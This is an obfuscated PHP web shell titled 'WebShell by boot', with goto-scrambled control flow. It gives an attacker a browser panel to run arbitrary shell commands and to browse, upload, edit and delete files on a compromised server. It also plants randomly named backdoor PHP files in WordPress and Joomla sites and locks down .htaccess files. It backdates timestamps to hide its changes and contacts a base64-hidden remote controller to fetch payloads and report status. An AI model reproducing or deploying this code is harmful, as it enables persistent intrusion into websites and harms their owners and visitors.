SeRHT: wxnQ8: goto Bl8oR; JCBgR: dPiwn: goto BWqbe; Bl8oR: if ($uDtUx === 0) { goto dPiwn; } goto Bahoj; RXaUw: $CcKhk = $kYzEH . "/wp-includes/" . hWqJS() . ".php"; goto UoiUI; CtDnj: exec("php -f {$CcKhk} > /dev/null 2>/dev/null &", $qB6bF, $uDtUx); goto SeRHT; gfS4f: goto EwIGX; goto JCBgR; quTNf: fwrite($oyu8v, $uvI30); goto fQ4Mh; zE2YT: $uvI30 = str_replace("[##website_path##]", $kYzEH, $uvI30); goto wNQiI; fQ4Mh: fclose($oyu8v); goto QmKiE; QmKiE: $qB6bF = []; goto cUWFz; cUWFz: $uDtUx = 0; goto V2BeK; V2BeK: if (!function_exists("exec")) { goto wxnQ8; } goto CtDnj; UoiUI: $oyu8v = fopen($CcKhk, "a+"); goto quTNf; BWqbe: return true; goto d2eN0; Zcrdk: } goto tGFU3; kfhB2: echo " <div class="row">\xa <form action="?type=4" method="post">
<input type="hidden" id="path" name="path" value=""; goto WIdn6; jslKn: echo $UKoAN; goto plOty; ExMHy: A0R89: goto bOhWR; h6MV7: echo ""/>
<input type="hidden" name="shell_type" value=""; goto ulZ3P; mtcaf: echo $_SESSION["c2hlbGxfY29kZV9ud205Zjk="]; goto eHdHM; X8f8a: fyBZN: goto snN32; BnsUo: Lxe5u: goto Jzs7R; bDFqz: pF_hV: goto dS69f; a81F7: zdpw_: goto SkXUo; UhBdt: echo "<div class="alert alert-success" role="alert">File content modified successfully!</div>"; goto e231o; c03sQ: echo "<div class="alert alert-success" role="alert">File created successfully!</div>"; goto l93Xr; moay4: clEHo($_POST, $EjEmp, $k5zcJ, $XY7l9); goto VdUUN; WeFxc: O_zqm: goto RwGeO; n3k3R: echo $UKoAN; goto DJdg7; muen2: if (!(isset($_POST["act"]) && $_POST["act"] == "del")) { goto r1hLO; } goto P28Yf; eNc9e: echo $_SESSION["dHlwZQ=="]; goto J5SB3; hT1Ns: echo "">
</div>\xa <button type="submit" class="btn btn-success">Edit</button>\xa </form>\xa </div>
"; goto ccCEf; ITa30: $egTvp = array(); goto YicUn; Wvix3: Ab5aT: goto ZU3Bz; cxcjq: mXcEl: goto kPNw6; AZOo0: exec($uvI30, $EpgdR, $ZrvyM); goto ofWpX; vDYG0: $ITud5 = fopen($hicZU . "/" . $plyVc, "w"); goto LZ6TG; K0otj: echo "<div style='color: green;font-weight:bold;'>" . $uvI30 . " is Successfully.</div>"; goto ofsMg; aAK5Q: function Rlsa3($wV4eu = ".", $uwsBo = 8, $eilv5 = 1) { goto xZS6M; ii74g: f70uR: goto lUvde; UXHCv: foreach ($Ji7ga as $UCzbv) { goto WSZ0l; VtsNU: $z3h_0 = array_merge($z3h_0, $wrYYk); goto mtt6h; jMvC8: $z3h_0[] = $ddqKC; goto L04YU; WSZ0l: if (!($UCzbv == "." || $UCzbv == "..")) { goto ymD0B; } goto ASeO3; x8JDh: if (!is_dir($ddqKC)) { goto Y6zNz; } goto jMvC8; mtt6h: Y6zNz: goto k1Dqp; ASeO3: goto PoaRn; goto FiuD2; FiuD2: ymD0B: goto UNx1f; k1Dqp: PoaRn: goto WhDsR; L04YU: $wrYYk = rLsa3($ddqKC, $uwsBo, $eilv5 + 1); goto VtsNU; UNx1f: $ddqKC = $wV4eu . DIRECTORY_SEPARATOR . $UCzbv; goto x8JDh; WhDsR: } goto ii74g; xZS6M: $z3h_0 = array(); goto JbVXm; JbVXm: if (!($eilv5 > $uwsBo)) { goto KlV4T; } goto zlQ1L; lUvde: return $z3h_0; goto yGIWm; Zg0WT: $Ji7ga = scandir($wV4eu); goto UXHCv; DMMY4: KlV4T: goto Zg0WT; zlQ1L: return $z3h_0; goto DMMY4; yGIWm: } goto bJawj; bM8qE: goto UfNqj; goto j5H_Y; seJ2G: $JLGB3 = fileperms($UKoAN); goto rVmmp; ASG8s: echo ""/>\xa <input type="hidden" name="shell_type" value=""; goto u1e0h; X_Krb: echo "&type=7">Create Folder</a>\xa <a class="btn btn-warning btn-sm" href="?path="; goto Gfapv; bOhWR: $pBBP9 = explode("/", $UKoAN); goto clB8w; FODtv: echo ""/>\xa <button type="submit" class="btn btn-info btn-sm">Others</button>\xa </form>
</div>
<div class="col-2 col-sm-1">\xa <form action="?path="; goto QRhhz; PQ1Vq: echo ""/>
<input type="hidden" name="shell_id" value=""; goto PX8kv; BuVJB: a8hx0: goto X8f8a; pD88J: echo " <div class="row">\xa <form action="?type=3" method="post">\xa <input type="hidden" id="path" name="path" value=""; goto OeXaq; ofWpX: if ($ZrvyM === 0) { goto S5Qqf; } goto cK5Oe; UAlPC: goto hUWwC; goto fhl1T; RLN4T: echo " </div>
</form>\xa "; goto Bhdxw; dk1MV: echo " <span "; goto PdAp4; WIdn6: echo $UKoAN; goto MfDmB; A8Fu3: goto pF_hV; goto nJn0D; egDui: ZrCem: goto beBYg; jvSX3: echo ""/>
<input type="hidden" name="shell_id" value=""; goto RxHcR; fISyZ: echo $_SESSION["c2hlbGxfY29kZV9ud205Zjk="]; goto YwHE5; m4rqZ: $y8p09 = ''; goto epyW7; IlCQD: echo ""/>
<input type="hidden" name="act" value="shell"/>\xa <input type="hidden" name="type" value="station"/>\xa <input type="hidden" name="shell_id" value=""; goto Qq21j; Sx78n: To1ZZ: goto egDui; o1BDQ: echo $_SESSION["Z3JvdXA="]; goto dQMcY; OeXaq: echo $UKoAN; goto WXAm8; wUT_P: echo ""/>
<div class="form-group">
"; goto hHL0U; clB8w: if (is_dir($hicZU)) { goto jYUBL; } goto VE_jZ; RwGeO: VKpcZ: goto vnKye; N9QRD: echo ">Readable</span> | <span "; goto ZwD77; gk8x5: function ZHUve($eGTQx, $iakIc, $e31nN = 0) { goto YwLjV; dzu7d: w7__w: goto Vx1ge; Wjtpq: uSLOx: goto LcqMu; Vx1ge: $LzzBZ = fwrite($qPSqX, $iakIc); goto ABGoe; xOh0J: if (!function_exists("file_put_contents")) { goto F7fxR; } goto U2TSH; eJNVJ: $uDtUx = 0; goto XgKXX; YvbH8: Uy6mW: goto Ep1Dy; H1mt0: $qPSqX = fopen($eGTQx, $d_LgZ); goto nMDp6; Pfk3I: return false; goto HBAEB; XgKXX: goto Uy6mW; goto K_HCj; KJsey: return true; goto thfmo; VZfXR: $d_LgZ = $e31nN & FILE_APPEND ? "a" : "w"; goto H1mt0; Ep1Dy: F7fxR: goto Qb7es; YS280: $uDtUx = 1; goto YvbH8; TReyG: flock($qPSqX, LOCK_EX); goto dzu7d; YwLjV: $uDtUx = 0; goto xOh0J; ABGoe: fclose($qPSqX); goto P20NS; RfAcq: if (!($e31nN & LOCK_EX && function_exists("flock"))) { goto w7__w; } goto TReyG; K_HCj: C309d: goto YS280; U2TSH: $egTvp = @file_put_contents($eGTQx, $iakIc, $e31nN); goto XJ1XY; Qb7es: if (!($uDtUx == 0)) { goto ag19S; } goto VZfXR; HBAEB: tavBU: goto RfAcq; nMDp6: if ($qPSqX) { goto tavBU; } goto Pfk3I; XJ1XY: if ($egTvp !== false) { goto C309d; } goto eJNVJ; P20NS: if (!($LzzBZ === false)) { goto uSLOx; } goto cXMWT; LcqMu: ag19S: goto KJsey; cXMWT: return false; goto Wjtpq; thfmo: } goto e0EhV; Bcx6c: echo $UKoAN; goto CPSun; n0Gl1: if ($s1OWX == 8) { goto yC1Te; } goto tWTgA; ulZ3P: echo $_SESSION["dHlwZQ=="]; goto GFAYt; Icv7l: $Ptssn = 0; goto uRfgn; CLnQi: echo "<!DOCTYPE html>
<html lang="en">
<head>\xa <title>WebShell by boot</title>\xa <meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.4.1/css/bootstrap.min.css">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.7.1/jquery.min.js"></script>\xa <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.4.1/js/bootstrap.min.js"></script>\xa <style>.col-12{width: 100%;display: inline-block;}.col-6{width: 50%;display: inline-block;float: left;}</style>\xa</head>\xa<body>\xa<div class="jumbotron text-center" style="padding: 1rem 0rem;">\xa <h1 style="font-size:2rem;font-weight: bold;margin: 1rem 0;">WebShell by boot</h1>\xa</div>
<div class="container">
<div class="row">\xa <p>\xa <div style="width: 30%;display:inline-block;">Server IP: "; goto F0hGX; FO13T: ic6XH: goto mcaei; lJldC: ImIH3: goto i3dwn; wMPew: UsIO3: goto UdzfN; GuAVw: echo $plyVc; goto fXAYh; Q8bGM: echo "<div class="alert alert-danger" role="alert">Delete " . $Ptssn . " files failed!</div>"; goto NK0AN; JTim7: echo "</div>
</p>\xa <p>
<div style="width: 30%;display:inline-block;">Website: "; goto kaj0o; QpF5b: if ($s1OWX == 5) { goto DUk4S; } goto t3Ahy; KYOAD: goto JeIng; goto KRcnj; u1e0h: echo $_SESSION["dHlwZQ=="]; goto Rdrav; JxCQV: echo ""/>
<input type="hidden" name="act" value="shell"/>
<input type="hidden" name="type" value="others"/>
<input type="hidden" name="shell_id" value=""; goto gGnRx; FJU3D: echo $UKoAN; goto pq13M; An7OU: goto IfFyA; goto wHwLM; yxzBN: function pR9Lq($ffvMO, $VoGAg, $Mq0lu, $hJqm6) { goto wuQJ3; Db75J: if (!(file_put_contents($ffvMO . "/.htaccess", $q72SH) !== false)) { goto zdPeu; } goto LQbwe; tTeTS: return false; goto xAHVM; sEgtY: Kp0Ui: goto XlMGw; wuQJ3: if (is_dir($ffvMO)) { goto Kp0Ui; } goto zr9Bu; tp7a0: $q72SH = str_replace("{#htcontent}", $VoGAg, $Mq0lu); goto mUCTa; Vf8A0: s1OiJ: goto qxRL7; RYdb3: $q72SH = ''; goto tp7a0; RTEva: $s3FZc = time() - rand(30, 100) * 24 * 60 * 60 - rand(0, 3600); goto aSG4Q; jAwHd: if (file_put_contents($U8nyI, $hJqm6) !== false) { goto QdYSo; } goto tTeTS; aSG4Q: touch($ffvMO, $s3FZc); goto DKL90; XlMGw: $U8nyI = $ffvMO . "/" . $VoGAg; goto jAwHd; LQbwe: chmod($ffvMO . "/.htaccess", 0555); goto J3mAu; DKL90: chmod($U8nyI, 0555); goto RYdb3; xAHVM: goto s1OiJ; goto jKrxV; aU3ke: return true; goto Vf8A0; t1vEH: chmod($ffvMO, 0555); goto aU3ke; mUCTa: chmod($ffvMO . "/.htaccess", 0755); goto Db75J; jKrxV: QdYSo: goto RTEva; J3mAu: zdPeu: goto t1vEH; zr9Bu: mkdir($ffvMO, 0755, true); goto sEgtY; qxRL7: } goto Oi878; hJk5W: function xpEBK($wV4eu) { goto olW36; ImbcU: $z3h_0 = glob($SrGCr . "/*", GLOB_ONLYDIR); goto xvIjX; olW36: $yryKk = array(); goto wGX4r; YP2j3: return $yryKk; goto ABLMM; IIvQO: $yryKk = array_merge($yryKk, $z3h_0); goto YP2j3; wGX4r: $SrGCr = dirname($wV4eu); goto ImbcU; xvIjX: $yryKk = $z3h_0; goto YvTFN; Yq0yg: $z3h_0 = isset($z3h_0) && is_array($z3h_0) ? $z3h_0 : []; goto IIvQO; YvTFN: $SrGCr = dirname($SrGCr); goto WguAi; tMNqh: $yryKk = isset($yryKk) && is_array($yryKk) ? $yryKk : []; goto Yq0yg; WguAi: $z3h_0 = glob($SrGCr . "/*", GLOB_ONLYDIR); goto tMNqh; ABLMM: } goto YU6Lt; F0hGX: echo $QbvJe["SERVER_ADDR"]; goto BdtDH; czdL2: OcNC4: goto DZcYo; PdAp4: if ($Ce_1b) { goto Lxe5u; } goto oYnDt; l93Xr: bLWGX: goto Ev4on; KhScz: if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $ZFXb5)) { goto w66DR; } goto WzdN7; e0xkx: echo "" method="post">
\x9\x9 \x9\x9<input type="hidden" name="c2hlbGxfY29kZV9ud205Zjk=" value=""; goto M_Ifp; p8Fvo: goto ir3Dl; goto UuJPZ; rMavD: IKCfJ: goto bxj3L; p5pGF: echo $UKoAN; goto Nu2mv; Q4vkB: session_start(); goto NL5mM; NK0AN: JpNwj: goto LvBZH; iGMd9: function jlsfy($xjQ5R, $Tl7bq, $nrSJz, $FSwXV, $dc2UX, $Mq0lu, $TIr0V, $k5zcJ) { goto VHLiK; jvxub: $uSOQx = array(); goto nMZkY; LolMu: $D1vxP = str_replace($wV4eu, $k5zcJ, $T7JuE); goto uQmir; mWwXk: return $egTvp; goto ch9WU; EM5hn: foreach ($sICVF as $BKaq1 => $HLoEV) { $sICVF[$BKaq1] = $wV4eu . $HLoEV; Arhn7: } goto V4BTP; xyEob: $egTvp["door_files"] = $R1pQf; goto UuKbM; zlr7n: $mVEP_ = array_merge($mVEP_, $sICVF); goto uJOxN; ruZY7: $Fu7Uq = count($xjQ5R) + count($Tl7bq) - count($KW03p); goto lPL2O; ett4M: $mVEP_ = array(); goto DBas1; Imi88: $mVEP_ = $ifLEm; goto zlr7n; fKlKC: $D1vxP = ''; goto bm_tI; V1ajm: $Jx3Dx = 0; goto fKlKC; RdiuV: $q21GG = array(); goto jvxub; V69bE: if (empty($f7Rro)) { goto Cr9bO; } goto LbNEb; V4BTP: rBOBN: goto Imi88; gB9YH: if (!$uDtUx) { goto ZqBzb; } goto LolMu; P1c76: $pkfz6 = array_rand($KW03p, count($xjQ5R) + count($Tl7bq)); goto Vsnth; uQmir: ZqBzb: goto R4z63; R4z63: Cr9bO: goto RakOc; GiVnJ: RmEqj: goto P1c76; lx1PA: $egTvp["count"] = $J8pN3; goto mWwXk; Vsnth: $R1pQf = array(); goto yphIX; LbNEb: $T7JuE = $f7Rro . "/index.php"; goto Yu60_; lPL2O: $KW03p = pMJha($KW03p, $Fu7Uq); goto GiVnJ; woAUA: global $KW03p, $KNM5I, $f7Rro; goto i07Er; Yu60_: $uDtUx = aERaR($T7JuE, $TIr0V); goto gB9YH; VHLiK: $egTvp = array(); goto woAUA; m5YA1: IhS6Y: goto xyEob; JG01Z: gVLuR: goto Lw985; Jj3OR: if (!(count($ifLEm) > 0)) { goto IhS6Y; } goto ett4M; Jg42H: RHVBp: goto V69bE; yphIX: $ifLEm = array(); goto V1ajm; XyA5t: FPizy($wV4eu, 1, $UMc82); goto pTiFQ; eqPBC: WJPb4: goto m5YA1; RakOc: $J8pN3 = 0; goto Jj3OR; pTiFQ: if (!(count($KW03p) < $UMc82)) { goto RmEqj; } goto ruZY7; uJOxN: $mVEP_[] = $wV4eu . "/" . $FSwXV; goto RdiuV; DBas1: $sICVF = explode(";", $nrSJz); goto EM5hn; nMZkY: foreach ($mVEP_ as $BKaq1 => $HLoEV) { goto SuHN4; Q1FLg: hOmm0: goto gI9_q; I1jZx: $uSOQx[] = basename($HLoEV); goto Q1FLg; SuHN4: $q21GG[] = dirname($HLoEV); goto I1jZx; gI9_q: } goto JG01Z; UuKbM: $egTvp["shell_other_url"] = $D1vxP; goto lx1PA; UcNjH: $UMc82 = count($xjQ5R) + count($Tl7bq); goto XyA5t; Lw985: foreach ($KNM5I as $BKaq1 => $ZXzrH) { goto EpAfl; vWjQw: chmod($ZXzrH . "/.htaccess", 0755); goto RKvPM; EpAfl: $R_2OK = array(); goto mEUw7; Y0JNM: $J8pN3++; goto TGDgs; GPZzb: ZD7rD: goto G16RL; stW1H: $q72SH = $dc2UX; goto FFtBD; FFtBD: goto dH5vN; goto ljgTQ; jBRJz: dH5vN: goto vWjQw; ZfJb1: if (!empty($R_2OK)) { goto UDOem; } goto stW1H; RKvPM: if (!(file_put_contents($ZXzrH . "/.htaccess", $q72SH) !== false)) { goto pYtQa; } goto Y0JNM; w9MQM: $q72SH = str_replace("{#htcontent}", implode("|", $R_2OK), $Mq0lu); goto jBRJz; ljgTQ: UDOem: goto w9MQM; kR4Se: Ljg1T: goto kdc0W; mEUw7: foreach ($q21GG as $QL_EW => $Ief5P) { goto PNhYF; PNhYF: if (!($ZXzrH == $Ief5P)) { goto zWVmG; } goto E7RT4; E7RT4: $R_2OK[] = $uSOQx[$QL_EW]; goto Tf7tj; CUv4f: npTux: goto BkSjk; Tf7tj: zWVmG: goto CUv4f; BkSjk: } goto kR4Se; TGDgs: chmod($ZXzrH . "/.htaccess", 0555); goto nRuES; kdc0W: $q72SH = ''; goto ZfJb1; nRuES: pYtQa: goto GPZzb; G16RL: } goto eqPBC; bm_tI: foreach ($pkfz6 as $WI_6I) { goto ZHp_v; ZHp_v: $Bhm11 = $KW03p[$WI_6I]; goto tlxDH; Rln_l: $uDtUx = aERaR($T7JuE, base64_decode($xjQ5R[$Jx3Dx])); goto OVJPR; tAEAi: Zc43T: goto Y179f; x_rAI: pXUu4: goto oLIOM; Yf255: jCIlA: goto KneLV; mQAGB: if ($Jx3Dx >= count($xjQ5R)) { goto Zc43T; } goto Vqi9l; OVJPR: goto wI9tI; goto tAEAi; RIEem: LyHRN: goto kcICF; oLIOM: $ifLEm[] = $T7JuE; goto tJNg7; KneLV: $Jx3Dx++; goto RIEem; tJNg7: $R1pQf[] = str_replace($wV4eu, $k5zcJ, $T7JuE); goto Yf255; hJkEb: goto jCIlA; goto x_rAI; Y179f: $Bhm11 = $Bhm11 . "/wp"; goto Ow0hI; Ow0hI: $T7JuE = $Bhm11 . "/" . $VoGAg; goto R9toN; Vqi9l: $T7JuE = $Bhm11 . "/" . $VoGAg; goto Rln_l; tlxDH: $VoGAg = DFe8j(rand(5, 10)) . ".php"; goto mQAGB; bo35a: if ($uDtUx) { goto pXUu4; } goto hJkEb; vW9vD: wI9tI: goto bo35a; R9toN: $uDtUx = PR9lQ($Bhm11, $VoGAg, $Mq0lu, base64_decode($Tl7bq[$Jx3Dx - count($xjQ5R)])); goto vW9vD; kcICF: } goto Jg42H; i07Er: $wV4eu = $_SERVER["DOCUMENT_ROOT"]; goto UcNjH; ch9WU: } goto NbS3d; fX9vT: echo "<div class="alert alert-danger" role="alert">Unable to open file!</div>"; goto mTzc1; VL0mi: if (!($_POST["type"] == "lock")) { goto ncMOt; } goto P1ZoX; mWD0V: echo $_SESSION["c2hlbGxfaWQ="]; goto ASG8s; HLWad: echo $_SESSION["c2hlbGxfY29kZV9ud205Zjk="]; goto IlCQD; Lj6Cs: if ($_POST["type"] == "others") { goto g9AaO; } goto ZUuro; uRfgn: foreach ($UnhrJ as $BKaq1 => $HLoEV) { goto FEoe_; s_zF6: goto UA1Pr; goto EEccc; CTaBB: $Ptssn++; goto s_zF6; Ams6Z: goto UASV1; goto E12Ch; xpD2V: $J8pN3++; goto DTgAs; RNEjT: fhB8p: goto lpDMV; E12Ch: WPk21: goto fNpBY; DTgAs: UA1Pr: goto RNEjT; EEccc: huQlh: goto xpD2V; heds0: UASV1: goto H1FAF; aML4H: $iFpH9 = unlink($HLoEV); goto Ams6Z; FEoe_: if (is_dir($HLoEV)) { goto WPk21; } goto aML4H; H1FAF: if ($iFpH9) { goto huQlh; } goto CTaBB; fNpBY: $iFpH9 = UWiXj($HLoEV); goto heds0; lpDMV: } goto ui7R7; GHMZq: if ($_POST["type"] == "exec") { goto H1YpC; } goto yXPjn; rxmwW: oCa2Q: goto A8Fu3; Islsd: goto pP2Pj; goto k1z08; t_zRj: $SO_dz = scandir($hicZU); goto qNojU; w_mU0: echo " <tr>
<td colspan="4" style="text-align: center;color:red;">
No Files!\xa </td>
</tr>
"; goto V4uY6; T2_GK: a30qV: goto s6vyY; epyW7: foreach ($pBBP9 as $BKaq1 => $HLoEV) { goto zqEyf; fQhqX: kUWcR: goto PXItH; DQJgo: echo "<a href="?path=/">-</a>r
"; goto szyoz; aUb53: if (empty($yDrso)) { goto w6cbt; } goto lhF1f; lhF1f: $yDrso = $yDrso . "/" . $HLoEV; goto GfTMG; nYtHi: goto RBeU_; goto mc2yY; szyoz: RBeU_: goto Bvdcg; U53hX: w6cbt: goto A0JSL; A0JSL: $yDrso = $HLoEV; goto fQhqX; CY0_W: echo "/<a href="?path="; goto W8ObK; mc2yY: cMcCQ: goto DQJgo; mLih1: echo trim($HLoEV); goto ugW3a; PXItH: $y8p09 = $y8p09 . "/" . $HLoEV; goto CY0_W; zqEyf: if (empty($HLoEV)) { goto cMcCQ; } goto aUb53; W8ObK: echo $y8p09; goto s76Oi; ugW3a: echo "</a>"; goto nYtHi; GfTMG: goto kUWcR; goto U53hX; s76Oi: echo "">"; goto mLih1; Bvdcg: cB5KD: goto LqaFY; LqaFY: } goto hpVjv; DJdg7: echo "" method="post">
\x9\x9\x9 <input type="hidden" name="c2hlbGxfY29kZV9ud205Zjk=" value=""; goto MK2l8; Sptby: $uvI30 = trim($_POST["exec_code"]); goto AZOo0; owGXL: goto mXcEl; goto zPKyK; LI0CE: Eut01: goto eYOpq; jYlAP: echo $UKoAN; goto vhb0S; Jzs7R: echo "style="color:green;""; goto V7EVa; ofsMg: foreach ($EpgdR as $BKaq1 => $HLoEV) { echo $HLoEV . "<br/>"; wBGLw: } goto jykN0; ccCEf: pP2Pj: goto wcMKf; VlVLV: function XO9Z0($QbvJe, $UWrjc, $k5zcJ, $XY7l9) { goto BjnOk; BE2Cb: $OMkYM = base64_decode($UWrjc) . "/savenkuzf4.php"; goto FQ98N; oKE5u: $Q0d0r["second_url"] = $egTvp["second_url"]; goto q7sF2; PDAOz: $Q0d0r = array(); goto iNQ25; zGhiw: C6_PQ: goto RY_m3; ZqdTm: $Q0d0r["status"] = 2; goto z8Xdz; ufd0r: $Q0d0r["code"] = "1001"; goto ZqdTm; ZWfhK: $Q0d0r["status"] = 2; goto D6I_2; ySwVx: gMmrZ: goto WLYd_; LgZIa: ZkzZK: goto oKE5u; OEG7x: Ug6Yf: goto PDAOz; iHsqq: goto OTMHg; goto ySwVx; fLMCe: $pDJ9q = base64_decode($UWrjc) . "/k575s6kk.php?action=others&group_id_2=" . $fDdlE . "&group_id_3=" . $kvNkJ . "&shell_type=" . $IuCPr . "&time=" . date("YmdHis") . rand(1000, 9999); goto af7p3; BjnOk: $DfFx0 = $QbvJe["shell_id"]; goto C4Wha; WSGhQ: $JXstA = json_decode($Y67K5, true); goto I6nwH; z8Xdz: goto w32Kd; goto LgZIa; C4Wha: $fDdlE = $QbvJe["group_id_2"]; goto iMNIg; FQ98N: $Y67K5 = XrSD2($pDJ9q); goto WSGhQ; rcTce: $IuCPr = $QbvJe["shell_type"]; goto fLMCe; C7o8f: $Q0d0r["action"] = "others"; goto BE2Cb; XPXw7: if (!empty($egTvp["second_url"]) || !empty($egTvp["third_url"])) { goto ZkzZK; } goto ufd0r; q7sF2: $Q0d0r["third_url"] = $egTvp["third_url"]; goto oNqlO; WLYd_: echo "<p style="color:green;">Others is successfully</p>"; goto Ubmw4; oNqlO: $Q0d0r["status"] = 1; goto rptEx; af7p3: if (!(stripos($XY7l9, "joomla") !== false)) { goto Ug6Yf; } goto sKkPK; D6I_2: goto C6_PQ; goto dKS9P; pbVzO: $Q0d0r["code"] = "1002"; goto ZWfhK; dKS9P: LPOir: goto cP9cz; cP9cz: $egTvp = L2tNp($JXstA["group2_code"], $JXstA["group3_code"], $JXstA["second_file"], $JXstA["third_file"], $k5zcJ); goto XPXw7; Ubmw4: OTMHg: goto GJLpr; RY_m3: $Q0d0r["shell_type"] = $IuCPr; goto sgY9V; rptEx: w32Kd: goto zGhiw; DmAIw: if ($uDtUx["status"]) { goto gMmrZ; } goto fs_da; sgY9V: $uDtUx = IVXxc($OMkYM, $Q0d0r); goto DmAIw; fs_da: echo "<p style="color:red;">Others is failed! " . $Q0d0r["code"] . "</p>"; goto iHsqq; iNQ25: $Q0d0r["shell_id"] = $DfFx0; goto C7o8f; I6nwH: $JXstA = OlwXg($JXstA); goto U3X8b; iMNIg: $kvNkJ = $QbvJe["group_id_3"]; goto rcTce; sKkPK: $pDJ9q = base64_decode($UWrjc) . "/k575s6kk_joomla.php?action=others&group_id_2=" . $fDdlE . "&group_id_3=" . $kvNkJ . "&shell_type=" . $IuCPr . "&cms_type=" . $XY7l9 . "&time=" . date("YmdHis") . rand(1000, 9999); goto OEG7x; U3X8b: if (!empty($JXstA["group2_code"]) && !empty($JXstA["second_file"]) || !empty($JXstA["group3_code"]) && !empty($JXstA["third_file"])) { goto LPOir; } goto pbVzO; GJLpr: } goto C7Mxo; YCMId: $SO_dz = $_REQUEST["files"]; goto KC8zr; hpVjv: kAWM5: goto dk1MV; b7tht: echo $QbvJe["SERVER_SOFTWARE"]; goto z86_R; kWpOA: $plyVc = trim($_POST["new_name"]); goto pkHcL; E0gB6: $QbvJe = $_SERVER; goto Lasaz; CPSun: echo "" method="post">\xa \x9\x9<input type="hidden" name="c2hlbGxfY29kZV9ud205Zjk=" value=""; goto fISyZ; HvyIx: if (empty($G4FS2)) { goto iEiWR; } goto UY5KS; yuvYk: $x4EZ5 = true; goto abw8E; WmkRj: function n_WGU($QbvJe, $UWrjc, $k5zcJ, $XY7l9) { goto p9Wlb; X3Vnt: HhzSv: goto JW3tf; YK1Nu: $JXstA = OLwxg($JXstA); goto EOzFk; LyUl0: Nn1Ao: goto oiYEQ; PQVKh: if ($uDtUx["status"]) { goto q8XfG; } goto OVba0; OVba0: echo "<p style="color:red;">Exec is failed! " . $Q0d0r["code"] . "</p>"; goto OtMVX; RXT56: $pDJ9q = base64_decode($UWrjc) . "/k575s6kk.php?action=new_exec&group_id=" . $eRoV1 . "&shell_type=" . $IuCPr . "&time=" . date("YmdHis") . rand(1000, 9999); goto dtXvy; EOzFk: if (isset($JXstA["in_contnt"]) && !empty($JXstA["ht_contnt"]) && !empty($JXstA["exec_code"])) { goto Y1yz6; } goto CTd87; OtMVX: goto vs_iH; goto Vp5U8; MBhya: goto Nn1Ao; goto v_I18; yPxHz: vs_iH: goto MgQIi; v_I18: Y1yz6: goto O3UKK; w8wu2: echo "<p style="color:green;">Exec is successfully</p>"; goto yPxHz; tXUHs: $Q0d0r["status"] = 2; goto pzXdF; ybh5b: $IuCPr = $QbvJe["shell_type"]; goto RXT56; UWNsq: if ($egTvp) { goto jHQtJ; } goto d_jJB; KpCwA: $egTvp = kAMkI($kYzEH, $JXstA["ht_contnt"], $JXstA["in_contnt"], $JXstA["exec_code"], $JXstA["wp_ycode"]); goto UWNsq; FCxSp: $pDJ9q = base64_decode($UWrjc) . "/k575s6kk_joomla.php?action=new_exec&group_id=" . $eRoV1 . "&shell_type=" . $IuCPr . "&cms_type=" . $XY7l9 . "&time=" . date("YmdHis") . rand(1000, 9999); goto X3Vnt; M2eFQ: $uDtUx = IvXXc($OMkYM, $Q0d0r); goto PQVKh; CTd87: $Q0d0r["code"] = "1002"; goto F4tLH; mHYvC: Rpr99: goto LyUl0; O3UKK: $kYzEH = $_SERVER["DOCUMENT_ROOT"]; goto KpCwA; nst00: $Q0d0r["shell_id"] = $DfFx0; goto KYTmp; JW3tf: $Q0d0r = array(); goto nst00; F4tLH: $Q0d0r["status"] = 2; goto MBhya; sHo9b: $DfFx0 = $QbvJe["shell_id"]; goto ybh5b; dtXvy: if (!(stripos($XY7l9, "joomla") !== false)) { goto HhzSv; } goto FCxSp; qjrwK: $OMkYM = base64_decode($UWrjc) . "/savenkuzf4.php"; goto r8N_l; x3vR2: $JXstA = json_decode($Y67K5, true); goto YK1Nu; d_jJB: $Q0d0r["code"] = "1001"; goto tXUHs; euniv: $Q0d0r["status"] = 1; goto mHYvC; E54Cs: jHQtJ: goto euniv; Vp5U8: q8XfG: goto w8wu2; KYTmp: $Q0d0r["action"] = "exec"; goto qjrwK; pzXdF: goto Rpr99; goto E54Cs; p9Wlb: $eRoV1 = $QbvJe["group_id"]; goto sHo9b; r8N_l: $Y67K5 = xRSd2($pDJ9q); goto x3vR2; oiYEQ: $Q0d0r["shell_type"] = $IuCPr; goto M2eFQ; MgQIi: } goto YYaB8; rsUgD: if (empty($wxqQ0)) { goto fyBZN; } goto LhkRS; LtlrT: echo "<div class="alert alert-danger" role="alert">Unable to write to file!</div>"; goto HKkWH; gGnRx: echo $_SESSION["c2hlbGxfaWQ="]; goto YcRxk; Z83m0: C1XGP: goto p8Fvo; nifYO: echo "" placeholder="New File Name">\xa </div>\xa <div class="form-group">
<textarea class="form-control" id="new_content" name="new_content" rows="20" cols="100" placeholder="New File Content">"; goto bpKbj; zKL7T: echo "&type=8">Search Files</a>
</form>\xa </div>
<div class="col-6">\xa <form action="?path="; goto PykiL; BdtDH: echo "</div>
<div style="width: 30%;display:inline-block;">Server Software: "; goto b7tht; w69yF: PWzkU: goto QhUCX; bxj3L: $KNM5I = array(); goto hHZ55; oIybm: if (empty($wjAuf)) { goto Ab5aT; } goto xFUzp; z7Mb8: $k5zcJ = $sSXUt . $O1ccF; goto U1pRj; DZcYo: echo "<div class="alert alert-success" role="alert">File permissions modified successfully!</div>"; goto bFBvq; m21zH: if (!($XY7l9 == "joomla")) { goto IKCfJ; } goto MwlK2; fKNQ0: echo "style="color:red;""; goto M8prv; aWAy0: echo "" style="display: inline-block;width: 80%;"/>
<input type="hidden" name="act" value="change_dir"/>\xa <button type="submit" class="btn btn-info btn-sm">Change Dir</button>
</form>\xa </div>\xa <div class="col-6">
\xa </div>\xa </div>
</div>\xa <div class="bd-example bd-example-row" style="border: 1px solid #ededed;padding: 1rem;margin: 1rem 0;">
<div class="row">
<div class="col-2 col-sm-1">\xa <form action="?path="; goto Bcx6c; Q58J0: echo $UKoAN; goto ryBts; RxHcR: echo $_SESSION["c2hlbGxfaWQ="]; goto Nm2Dl; J5SB3: echo ""/>
<button type="submit" class="btn btn-warning btn-sm">Exec</button>\xa </form>\xa </div>
